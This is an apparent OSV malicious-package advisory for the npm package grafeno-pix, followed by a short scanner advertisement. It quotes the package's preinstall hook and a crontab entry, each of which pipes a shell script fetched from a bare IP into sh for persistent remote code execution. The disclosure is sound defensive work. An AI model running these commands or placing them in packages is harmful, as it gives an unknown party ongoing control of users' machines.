grafeno-pix @1.0.1
Vulnerability report · Last retrieved from osv.dev August 29, 2026 at 7:35 AM UTC
OSV ID
MAL-2026-15507
Ecosystem
npm
Summary
grafeno-pix@1.0.0 declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh , fetching a shell script from a bare IP over plain HTTP and executing it as the installer on npm install . The same hook installs a crontab entry ( */30 * * * * curl -s 216.126.236.46/x.sh | sh ) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely.
Source: amazon-inspector (a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3)
Protect your entire dependency tree
Scan your lock files automatically on every PR. Block malicious packages before they reach production.